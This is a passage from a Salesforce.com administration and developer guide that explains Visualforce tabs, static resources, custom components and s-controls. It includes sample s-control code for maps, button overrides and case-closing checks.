property settings. If the document used for the icon is later deleted, Salesforce.com replaces it with a default

multicolor block icon ( ).

c. Select a file and click OK. The New Custom Tab wizard reappears.

7. Optionally, select the Mobile Ready checkbox to indicate that the Visualforce page displays and functions properly in a
mobile web browser.
Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs
on page 2193 for information on how to mobilize tabs. Review the considerations for building Visualforce pages that are
compatible with mobile browsers before mobilizing a Visualforce tab.
Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization.

1031
Develop What is a Static Resource?

8. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. See Defining
Custom Buttons and Links on page 653 for information about creating a custom link to use as a splash page for your custom
tab. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the
Visualforce tab.
9. Enter a description of the tab, if desired, and click Next.
10. Choose the user profiles for which the new custom tab will be available:

• Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down
list.
• Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab
Hidden from the drop-down list for each profile.

11. Specify the custom apps that should include the new tab. See What is an App? on page 755 for information on custom
apps.
12. Check Append tab to users' existing personal customizations to add the new tab to your users’ customized
display settings if they have customized their personal display.
13. Click Save.

See Also:
Visualforce Overview
Defining Visualforce Pages
Developer's Guide: Visualforce Developer's Guide

What is a Static Resource?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Static resources allow you to upload content that you can reference in a Visualforce page, including archives (such as .zip and
.jar files), images, stylesheets, JavaScript, and other files.
Using a static resource is preferable to uploading a file to the Documents tab because:

• You can package a collection of related files into a directory hierarchy and upload that hierarchy as a .zip or .jar archive.
• You can reference a static resource in page markup by name using the $Resource global variable instead of hard-coding
document IDs:

- To reference a stand-alone file, use $Resource.<resource_name> as a merge field, where <resource_name> is


the name you specified when you uploaded the resource. For example:

<apex:image url="{!$Resource.TestImage}" width="50" height="50" />

or

<apex:includeScript
value="{!$Resource.MyJavascriptFile}"/>

1032
Develop What is a Static Resource?

- To reference a file in an archive, use the URLFOR function. Specify the static resource name that you provided when
you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second.
For example:

<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}" width="50"


height="50" />

or

<apex:includeScript
value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>

• You can use relative paths in files in static resource archives to refer to other content within the archive. For example, in
your CSS file, namedstyles.css, you have the following style:

table { background-image: img/testimage.gif }

When you use that CSS in a Visualforce page, you need to make sure the CSS file can find the image. To do that, create
an archive (such as a zip file) that includes styles.css and img/testimage.gif. Make sure that the path structure
is preserved in the archive. Then upload the archive file as a static resource named “style_resources”. Then, in your page,
add the following component:

<apex:stylesheet value="{!URLFOR($Resource.style_resources, 'styles.css')}"/>

Since the static resource contains both the stylesheet and the image, the relative path in the stylesheet resolves and the
image is displayed.

A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total. Static
resources apply to your organization's quota of data storage.

See Also:
Defining Static Resources
Managing Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide

1033
Develop Defining Static Resources

Defining Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create static resources: “Customize Application”

To create a static resource:

1. Click Setup ➤ Develop ➤ Static Resources.


2. Click New Static Resource.
3. In the Name text box, enter the text that should be used to identify the resource in Visualforce markup. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
Note: If you reference a static resource in Visualforce markup and then change the name of the resource, the
Visualforce markup is updated to reflect that change.

4. In the Description text area, specify an optional description of the resource.


5. Next to the File text box, click Browse to navigate to a local copy of the resource that you want to upload.
A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total.
6. Click Save.

See Also:
What is a Static Resource?
Managing Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide

1034
Develop Managing Static Resources

Managing Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit static resources: “Customize Application”

After creating static resources, you can customize, edit, and delete them. Click Setup ➤ Develop ➤ Static Resources to
display the Static Resources list page, which shows the list of resources defined for your organization. From this page you can:

• Click New Static Resource to define a new static resource.


• Click a resource name to display detailed information about the page, including its MIME type and size.
• Click Edit next to a resource to modify the resource's name or to upload a new version of the resource.
• Click Del to remove a resource.

Note: The namespace prefix is added to Apex classes, Apex triggers, Apex components, Visualforce pages, brand
templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed
package. However, if your profile does not have customize application permissions, the namespace prefix field is not
displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see
Registering a Namespace Prefix on page 953.

See Also:
What is a Static Resource?
Defining Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide

Viewing and Editing Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone, edit, or delete static resources: “Customize Application”

Click Setup ➤ Develop ➤ Static Resources and click the name of a resource to view its details, including its MIME type,
the size of the resource in bytes, when it was created, and when it was last modified.
From the detail page, you can do any of the following:

1035
Develop What is a Custom Component?

• Click Edit to edit the resource.


• Click Delete to delete the resource.
• Click Clone to create a copy of the resource. You must specify a new name for the new resource.
• Click Where is this used? to view a list of all references to the static resource in your organization.

See Also:
What is a Static Resource?
Defining Static Resources
Managing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide

What is a Custom Component?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Salesforce.com provides a library of standard, pre-built components, such as <apex:relatedList> and <apex:dataTable>,
that can be used to develop Visualforce pages. In addition, you can build your own custom components to augment this library.
A custom component encapsulates a common design pattern that can be reused in one or more Visualforce pages. It consists
of:

• A set of Visualforce markup demarcated by the <apex:component> tag


• An optional component controller written in Apex that allows the component to perform additional logic, such as sorting
items in a list, or calculating values

For example, suppose you want to create a photo album using Visualforce pages. Each photo in the album has its own border
color, and a text caption that displays beneath it. Rather than repeating the Visualforce markup required for displaying every
photo in the album, you can define a custom component named singlePhoto that has attributes for image, border color,
and caption, and then uses those attributes to display the image on the page. Once defined, every Visualforce page in your
organization can leverage the singlePhoto custom component in the same way as a page can leverage standard components
such as <apex:dataTable> or <apex:relatedList>.
Unlike page templates, which also enable developers to reuse markup, custom components provide more power and flexibility
because:

• Custom components allow developers to define attributes that can be passed in to each component. The value of an attribute
can then change the way the markup is displayed on the final page, and the controller-based logic that executes for that
instance of the component. This behavior differs from that of templates, which do not have a way of passing information
from the page that uses a template to the template's definition itself.

1036
Develop Defining Custom Components

• Custom component descriptions are displayed in the application's component reference dialog alongside standard component
descriptions. Template descriptions, on the other hand, can only be referenced through the Setup area of Salesforce.com
because they are defined as pages.

See Also:
Defining Custom Components
Managing Custom Components
Viewing and Editing Custom Components
Developer's Guide: Visualforce Developer's Guide
Developer's Guide: Force.com Apex Code Developer's Guide

Defining Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create custom components: “Customize Application”

To create a custom component:

1. In Salesforce.com click Setup ➤ Develop ➤ Components.


2. Click New.
3. In the Label text box, enter the text that should be used to identify the custom component in Setup tools.
4. In the Name text box, enter the text that should identify this custom component in Visualforce markup. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
5. In the Description text box, enter a text description of the custom component. This description appears in the component
reference with other standard component descriptions as soon as you click Save.
6. In the Body text box, enter Visualforce markup for the custom component definition. A single component can hold up to
1 MB of text, or approximately 1,000,000 characters.
7. Click Version Settings to specify the version of Visualforce and the API used with this component. If your organization
has installed managed packages from the AppExchange, you can also specify which version of each managed package to
use. Generally, you should use the default values for all versions. This associates the component with the most recent
version of Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and
the API to maintain specific behavior. You can specify an older version of a managed package if you want to access package
components or functionality that differs from the most recent package version.
8. Click Save to save your changes and view the custom component's detail screen, or click Quick Save to save your changes
and continue editing your component. Your Visualforce markup must be valid before you can save your component.

Note: You can also create a custom component in Visualforce development mode by adding a reference to a custom
component that does not yet exist to Visualforce page markup. After saving the markup, a quick fix link appears that
allows you to create a new component definition (including any specified attributes) based on the name that you
provided for the component.

1037
Develop Defining Custom Components

For example, if you have not yet defined a custom component named myNewComponent and insert
<c:myNewComponent myNewAttribute="foo"/> into existing page markup, after clicking Save a quick fix
allows you to define a new custom component named myNewComponent with the following default definition:

<apex:component>
<apex:attribute name="myattribute" type="String" description="TODO: Describe me"/>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
This is your new Component: mynewcomponent
<!-- End Default Content REMOVE THIS -->
</apex:component>

You can modify this definition in the Setup area by clicking Setup ➤ Develop ➤ Components and then clicking
Edit next to the myNewComponent custom component.

See Also:
What is a Custom Component?
Managing Custom Components
Viewing and Editing Custom Components
Managing Version Settings for Custom Components
Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone, edit, delete, or set versions for custom components: “Customize Application”

To aid backwards-compatibility, each Visualforce component is saved with version settings for the specified version of the
API as well as the specific version of Visualforce. If the Visualforce component references installed managed packages, the
version settings for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce,
the API, and the components in managed packages evolve in subsequent versions, a component is still bound to versions with
specific, known behavior.
A package version is a set of components uploaded in a package. It is denoted by a version number that has the format
majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you create
a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com.
Note: Package components and custom component are distinct concepts. A package is comprised of many components,
such as custom objects, Apex classes and triggers, and custom components.

Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent
package versions without breaking existing customer integrations using the package.

1038
Develop Managing Custom Components

To set the Salesforce.com API and Visualforce version for a custom component:

1. Edit a custom component and click Version Settings.


Note: You can only access the version settings for a custom component if you edit a custom component by clicking
Setup ➤ Develop ➤ Components. You cannot access them if you edit a custom component using Developer
Mode.

2. Select the Version of the Salesforce.com API. This is also the version of Visualforce used with the custom component.
3. Click Save.

To configure the package version settings for a custom component:

1. Edit a custom component and click Version Settings.


2. Select a Version for each managed package referenced by the custom component. This version of the managed package
will continue to be used by the custom component if later versions of the managed package are installed, unless you manually
update the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the page
or component.
3. Click Save.

Note the following when working with package version settings:

• If you save a custom component that references a managed package without specifying a version of the managed package,
the custom component is associated with the latest installed version of the managed package by default.
• You cannot Remove a custom component's version setting for a managed package if the package is referenced by the
custom component. Use Show Dependencies to find where the managed package is referenced.

See Also:
What is a Custom Component?
Managing Custom Components
Viewing and Editing Custom Components
About Managed Packages
What is a Package Version?
Developer's Guide: Visualforce Developer's Guide

Managing Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom components: “Customize Application”

After creating custom components, you can view, edit and delete them. Click Setup ➤ Develop ➤ Components to display
the Components list page, which shows the list of custom components defined for your organization. From this page you can:

1039
Develop Viewing and Editing Custom Components

• Click New to define a new custom component.


• Click a custom component name to display detailed information about the component.
• Click Edit to modify a component's name or markup.

Note: A icon indicates that a Visualforce custom component is in an installed managed package. You cannot
edit or delete a Visualforce custom component in a managed package.

• Click Del to remove a custom component from your organization.

Note: The namespace prefix is added to Apex classes, Apex triggers, Apex components, Visualforce pages, brand
templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed
package. However, if your profile does not have customize application permissions, the namespace prefix field is not
displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see
Registering a Namespace Prefix on page 953.

See Also:
What is a Custom Component?
Defining Custom Components
Viewing and Editing Custom Components
Developer's Guide: Visualforce Developer's Guide

Viewing and Editing Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone, edit, delete, or set versions for custom components: “Customize Application”

Click Setup ➤ Develop ➤ Components and click the name of a custom component to view its definition.
From the detail page, you can do any of the following:

• Click Edit to edit the custom component.


• Click Delete to delete the custom component.
• Click Clone to create a copy of the custom component. You must specify a new name for the new component.
• Click Where is this used? to view a list of all references to the custom component in your organization.
• Click Show Dependencies to display the items, such as another competent, permission, or preference, that must exist for
this custom component to be valid. For more information, see Understanding Dependencies on page 923.

To aid backwards-compatibility, custom components are stored with the version settings for a specified version of Visualforce
and the API. If the page references package components, such as a custom object, in an installed managed package, the version
settings for each managed package referenced by the custom component are saved too.

1040
Develop Defining Custom S-Controls

Once your component has been created, you can view it at


http://mySalesforceInstance/apexcomponent/nameOfNewComponent, where the value of mySalesforceInstance
is the host name of your Salesforce.com instance (for example, na3.salesforce.com) and the value of nameOfNewComponent
is the value of the Name field on the custom component definition.
The component is displayed as if it is a Visualforce page. Consequently, if your component relies on attributes or on the content
of the component tag's body, this URL may generate results that you do not expect. To more accurately test a custom component,
add it to a Visualforce page and then view the page.

See Also:
What is a Custom Component?
Defining Custom Components
Managing Custom Components
Managing Version Settings for Custom Components
Developer's Guide: Visualforce Developer's Guide

Defining Custom S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls: “Customize Application”

The custom s-control library is a place where you can store and upload content for use in many areas within Salesforce.com
such as: custom links, Web tabs, custom buttons, and dashboards. S-controls provide a flexible, open means of extending the
Salesforce.com user interface, including the ability to create and display your own custom data forms.
An s-control can contain any type of content that you can display or run in a browser, for example, a Java applet, an ActiveX
control, an Excel file, or a custom HTML Web form.
To define an s-control:

1. Click Setup ➤ Develop ➤ S-Controls.


2. Click New Custom S-Control, or click Edit to change an existing custom s-control.
3. Enter the following attributes:

Attribute Name Description


Label The text that displays on page layouts for embedded s-controls.
S-Control Name The unique name for the s-control. This name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must begin with a letter, not include
spaces, not end with an underscore, and not contain two consecutive underscores.

1041
Develop Defining Custom S-Controls

Attribute Name Description


Type Determines how you plan to use the s-control:
HTML
Select this option if you want to enter the content for your s-control in the Content
area.
URL
Select this option if you want to enter the link or URL of an external website in the
Content area.

Snippet
Snippets are s-controls that are designed to be included in other s-controls. Select this
option if you want to enter the content for your s-control snippet in the Content area.
For common uses of snippets, see Useful S-Controls on page 1048.

Description Text that describes the s-control. This only displays to administrators.
Content Enter the content or source for your s-control. You can enter up to 1 million characters in
this field. The HTML code defines exactly how your users should view the custom s-control.
• If you are building a formula in the Advanced Formula tab or for approvals or rules, such
as workflow, validation, assignment, auto-response, or escalation, click Insert Field,
choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple
Formula tab, choose the field type in the Select Field Type drop-down list, and
choose one of the fields listed in the Insert Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge
fields on those objects.

• To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 548.
• To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions
drop-down list. Select a function and click Help on this function to view a description
and examples of formulas using that function.
• To reference a file that you uploaded in the Filename field as part of the custom s-control,
select Custom S-Control from the Select Field Type drop-down list, and choose
Custom S-Control URL to get the merge field for it. For a Java applet, you can also use
the {!Scontrol_JavaCodebase} merge field and the {!Scontrol_JavaArchive}
merge field.
• To insert activity merge fields, select “Event” or “Task” from the Select Field Type
drop-down list.

Tip: Internet standards require special encoding for URLs. Salesforce.com


automatically encodes the text from any merge field you insert into a link. Encode

1042
Develop Defining Custom S-Controls

Attribute Name Description


any additional text in your link manually. For example, to generate the following
URL:

http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:

http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce.com automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.

Filename Upload a file to display when you add this custom s-control to a custom link. The file can
contain a Java applet, Active-X control, or any other type of content you want. This option
only applies to HTML s-controls.
Prebuild In Page This option keeps the s-control in memory, which may improve performance when the page
is reloaded because the s-control does not have to be reloaded as well. This option only applies
to HTML s-controls.
Encoding The default encoding setting is Unicode (UTF-8). Change it if you are passing information
to a URL that requires data in a different format. This option is available when you select
URL for the Type.

4. Optionally, click Check Syntax to validate all Salesforce.com merge fields and functions.
5. Click Save when you are finished. Alternatively, click Quick Save to save and continue editing.
Note: If you have a namespace prefix and your s-control references merge fields without their namespace prefix,
Salesforce.com automatically prepends them with the your namespace prefix.

6. Create a custom button or link to display the custom s-control to your users. See Defining Custom Buttons and Links on
page 653. Alternatively, create a Web tab using the custom s-control, add the s-control to a page layout, or add the s-control

1043
Develop Defining Custom S-Controls

to a dashboard. You can also use an s-control as online help content for a custom object. For instructions on creating
object-level help, see Defining Object-Level Help on page 609.

See Also:
Useful S-Controls
Tips on Building S-Controls
Understanding Global Variables
Viewing and Editing S-Controls
Deleting Custom S-Controls
About S-Controls
Documentation Resources for Force.com Developers

About S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Use s-controls to add your own functionality to your Salesforce.com organization. Whether you are integrating a hosted
application of your own or are extending your current Salesforce.com user interface, use s-controls to store your code or refer
to code elsewhere.
Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X
control, an Excel file, or a custom HTML Web form.
S-controls have the following attributes:

Attribute Name Description


Label The text that displays on page layouts for embedded s-controls.
S-Control Name The unique name for the s-control. This name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must begin with a letter, not include
spaces, not end with an underscore, and not contain two consecutive underscores.
Type Determines how you plan to use the s-control:
HTML
Select this option if you want to enter the content for your s-control in the Content area.
URL
Select this option if you want to enter the link or URL of an external website in the
Content area.

Snippet
Snippets are s-controls that are designed to be included in other s-controls. Select this
option if you want to enter the content for your s-control snippet in the Content area.
For common uses of snippets, see Useful S-Controls on page 1048.

Description Text that describes the s-control. This only displays to administrators.

1044
Develop Defining Custom S-Controls

Attribute Name Description


Content Enter the content or source for your s-control. You can enter up to 1 million characters in this
field. The HTML code defines exactly how your users should view the custom s-control.
• If you are building a formula in the Advanced Formula tab or for approvals or rules, such
as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose
a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula
tab, choose the field type in the Select Field Type drop-down list, and choose one of
the fields listed in the Insert Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge fields
on those objects.

• To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 548.
• To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions drop-down
list. Select a function and click Help on this function to view a description and examples
of formulas using that function.
• To reference a file that you uploaded in the Filename field as part of the custom s-control,
select Custom S-Control from the Select Field Type drop-down list, and choose
Custom S-Control URL to get the merge field for it. For a Java applet, you can also use the
{!Scontrol_JavaCodebase} merge field and the {!Scontrol_JavaArchive} merge
field.
• To insert activity merge fields, select “Event” or “Task” from the Select Field Type
drop-down list.

Tip: Internet standards require special encoding for URLs. Salesforce.com


automatically encodes the text from any merge field you insert into a link. Encode
any additional text in your link manually. For example, to generate the following
URL:

http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:

http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce.com automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.

1045
Develop Defining Custom S-Controls

Attribute Name Description


Filename Upload a file to display when you add this custom s-control to a custom link. The file can contain
a Java applet, Active-X control, or any other type of content you want. This option only applies
to HTML s-controls.
Prebuild In Page This option keeps the s-control in memory, which may improve performance when the page is
reloaded because the s-control does not have to be reloaded as well. This option only applies to
HTML s-controls.
Encoding The default encoding setting is Unicode (UTF-8). Change it if you are passing information to
a URL that requires data in a different format. This option is available when you select URL
for the Type.

See Also:
Useful S-Controls
Defining Custom S-Controls
Documentation Resources for Force.com Developers

Considerations for S-Controls in Force.com AppExchange Packages


If you are developing Force.com AppExchange packages with s-controls or are planning to install a AppExchange package
with s-controls, you should be aware of the following limitations:

• For packages you are developing (that is, not installed from AppExchange), you can only add s-controls to packages with
the default Unrestricted API access. Once a package has an s-control, you cannot enable Restricted API access.
• For packages you have installed, you can enable access restrictions even if the package contains s-controls. However, access
restrictions provide only limited protection for s-controls. Salesforce.com recommends that you understand the JavaScript
in an s-control before relying on access restriction for s-control security.
• If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not
contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package
to Unrestricted API access.

S-Control Terminology
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The following terminology is used for custom s-controls in Salesforce.com:


Advanced Function
A formula function designed for use in custom buttons, links, and s-controls. For example, the INCLUDE advanced
function returns the content from an s-control snippet. For more details on advanced functions, see Operators and
Functions on page 548.

1046
Develop Defining Custom S-Controls

Global Variable
A special merge field that you can use to reference data in your organization. For more information, see Understanding
Global Variables on page 1056.

S-Control
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display
in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Attention: S-controls have been superseded by Visualforce pages. After January 2010 salesforce.com will remove
the ability to create and distribute new s-controls. Existing s-controls will remain unaffected.

Snippet
A type of s-control that is designed to be included in other s-controls. Similar to a helper method that is used by other
methods in a piece of code, a snippet allows you to maintain a single copy of HTML or JavaScript that you can reuse
in multiple s-controls. For common uses of snippets, see Useful S-Controls on page 1048.

Viewing and Editing S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls: “Customize Application”

To view the details of a custom s-control, click Setup ➤ Develop ➤ S-Controls and select the s-control name. For a description
of the s-control attributes, see About S-Controls on page 1044.

• To make changes to an s-control, click Edit. For more information, see Defining Custom S-Controls on page 1041.
• To remove an s-control, click Del. For more information, see Deleting Custom S-Controls on page 1048.
• To view a list of other components in Salesforce.com that reference the s-control, click Where is this used?. For more
information, see Viewing References to Salesforce.com Components on page 662.

See Also:
Useful S-Controls
Tips on Building S-Controls
About S-Controls
Documentation Resources for Force.com Developers

1047
Develop Defining Custom S-Controls

Deleting Custom S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls: “Customize Application”

Salesforce.com empowers you to reference s-controls in many different areas within the application. Before deleting a custom
s-control, check where it is used.
To delete a custom s-control:

1. Click Setup ➤ Develop ➤ S-Controls.


2. Click Del next to the custom s-control you want to delete.
3. Click OK to confirm.

Note: You cannot delete a custom s-control that is used elsewhere in Salesforce.com. Deleted s-controls do not go
into the Recycle Bin.

See Also:
Downloading Salesforce.com WSDLs and Client Authentication Certificates
Setting Custom Buttons and Links
Defining Custom S-Controls
Useful S-Controls
Tips on Building S-Controls

Useful S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom buttons and links are available in: All Editions


S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Overriding standard buttons and tab home pages is available in: Enterprise, Unlimited, and Developer Editions

Use the following samples to get started using s-controls:

• S-Controls for Detail Pages on page 1049


• S-Controls that Override Standard Buttons and Tab Home Pages on page 1050

1048
Develop Defining Custom S-Controls

• S-Controls that Include Snippets on page 1053

See Also:
Defining Custom S-Controls
Tips on Building S-Controls
Understanding Global Variables
About S-Controls
Overriding Standard Buttons and Tab Home Pages
Documentation Resources for Force.com Developers
About S-Controls
Documentation Resources for Force.com Developers

S-Controls for Detail Pages

Yahoo Map
Use the Yahoo Map API and the billing address merge fields to display a map for an account. Use the following code in an
HTML s-control and add it to your account detail page layout:

<html>
<head>
<script type="text/javascript"
src="http://api.maps.yahoo.com/ajaxymap?v=3.0&appid=YahooDemo">
</script>
<style type="text/css">
#mapContainer {
height: 200px;
width: 100%;
}
</style>
</head>
<body>
<div id="mapContainer"></div>
<script type="text/javascript">
// Create a map object
var map = new YMap(document.getElementById('mapContainer'));
// Display the map centered on given address
map.drawZoomAndCenter("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);
// Set marker at that address
map.addMarker("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);
</script>
</body>
</html>

1049
Develop Defining Custom S-Controls

S-Controls that Override Standard Buttons and Tab Home Pages

Add Product Override


You may have your own code that you prefer to use for adding products to opportunities instead of the standard page. Use
the s-control sample below to pass data values using merge fields from a record detail page into a custom s-control that overrides
the Add Product button on the Products related list of an opportunity. This type of override illustrates how related list buttons
can contain merge fields from the master object as well as the detail. For example, the code below contains opportunity merge
fields, which is on the master side of a master-detail relationship with opportunity products.

<html>
<head>
<script type="text/javascript"
src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Opportunity Info:</b>
<br>
Opportunity ID: {!Opportunity.Id}
<br>
Opportunity Name: {!Opportunity.Name}
<br>
Opportunity Record Type: {!Opportunity.RecordType}
<br>
</body>
</html>

To implement this functionality, create an HTML s-control with the content above inserting your code in the space provided.
Then, override the add product action from the opportunity products object using the s-control. This example assumes you
have record types on opportunities.
Note: This example does not include the code to add products. The content in the body section simply illustrates
how to use opportunity merge fields from the opportunity products related list. Replace the body section with your
code.

Conditional Override for Editing Leads


You can override a standard action conditionally, redirecting to a standard action or custom s-control depending on certain
conditions. For example, you may want to use a separate s-control to edit leads when they have been open longer than 30 days.
Using the following example, create an s-control to evaluate if a lead has been open longer than 30 days and, if so, run your
custom s-control to edit leads. Otherwise, use the standard lead edit action.

<script type="text/javascript">

//determine if the lead has been open longer than 30 days


if ({!IF(ISPICKVAL( Lead.Status , "Open"), ROUND(NOW()- Lead.CreatedDate , 0), 0)} > 30)
{
//more than 30 days - display a custom scontrol page
window.location.href="{!URLFOR($SControl.EditLeadsOpenLongerThan30)}";
}
else
{
//30 days or less - display the standard edit page
window.parent.location.href="{!URLFOR($Action.Lead.Edit, Lead.Id,
[retURL=URLFOR($Action.Lead.View, Lead.Id)], true)}";
}

</script>

1050
Develop Defining Custom S-Controls

To implement this in your organization, create the s-control that you want to use to edit leads that have been open longer
than 30 days. Name this s-control EditLeadsOpenLongerThan30. Next, create an s-control using the example code above to
determine if a lead has been open longer than 30 days, and, if so, override the edit action on leads using the
EditLeadsOpenLongerThan30 s-control.
Note the differences between the first and second if statements in the example code above. The first one is a JavaScript if
statement that evaluates on the browser. The second is the Salesforce.com IF function that evaluates on the server and returns
a single value—the number of days the lead has been open, or zero if the lead is not open.
Tip: Use the URLFOR function in this example to build Salesforce.com URLs rather than specifying individual
URLs to ensure they are supported across releases.
To display a standard Salesforce.com page without invoking the override, set the no override argument in the
URLFOR function to “true.”
Also, use the retURL parameter in your URLFOR function to return the user to the detail page after saving.

Edit Contact Override


You may have your own code that you prefer to use for editing contacts. Use the s-control sample below to pass data values
using merge fields from a record detail page into a custom s-control that overrides a standard detail page button.

<html>
<head>
<script type="text/javascript" src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Contact Info:</b>
<br>
Contact ID: {!Contact.Id}
<br>
Contact Name: {!Contact.FirstName} {!Contact.LastName}
<br>
</body>
</html>

To implement this functionality, create an HTML s-control with the content above inserting your code in the body section.
Then, override the edit contact action using the s-control. This overrides the edit contact action everywhere it is available: the
Edit button on a contact detail page, the Edit link on list views, and the Edit link on any related lists.
Note: This example does not include the code to edit contacts. The code within the body section only illustrates how
to use contact merge fields to display information about the contact. Replace the body section with your code.

Interrupt Override for New Accounts


Overriding standard buttons makes them unavailable in your entire Salesforce.com organization. However, you can override
a standard action and redirect to that action from your s-control without getting into an infinite loop. For example, you can
override the New button on accounts, perform your own custom process, and resume with the standard new account action
without getting into an infinite loop. To do this, use the no override argument in the URLFOR function.

<script type="text/javascript">

alert("Hi, I am demonstrating how to interrupt New Account with an override. Click OK to


continue.");

window.parent.location.href="{! URLFOR($Action.Account.New, null, null, true)}";

1051
Develop Defining Custom S-Controls

</script>

To implement this s-control, create an HTML s-control with the content above. Then, override the new account action using
the s-control.
Note: The new action does not require an ID, which is why the second argument in the URLFOR function is set to
null. This example does not require any inputs, which is why the third argument in the URLFOR function is set to
null. The fourth argument in the URLFOR function is set to true to ignore the override, avoiding an infinite loop.

Close Case Page Override


Validation rules are a useful way of validating data on a record before saving it. However, you may want to validate the data
associated with a record. Use an s-control like the one below to ensure that a case is associated with at least one solution before
users are allowed to close it:

<html>
<head>
<script src="/soap/ajax/13.0/connection.js">
</script>
<script>
function init()
{
var queryResult = sforce.connection.query("Select count() from CaseSolution Where CaseId =
'{!Case.Id}'");
var size = queryResult.size;
if (size > 0) {
//go to the standard case close page without invoking the override
window.parent.location.href = "{!URLFOR($Action.Case.CloseCase, Case.Id,
[retURL=URLFOR($Action.Case.View, Case.Id)], true)}"
}
else
{
alert("Case must contain at least one solution before it can be closed.");
//go to the standard case detail page
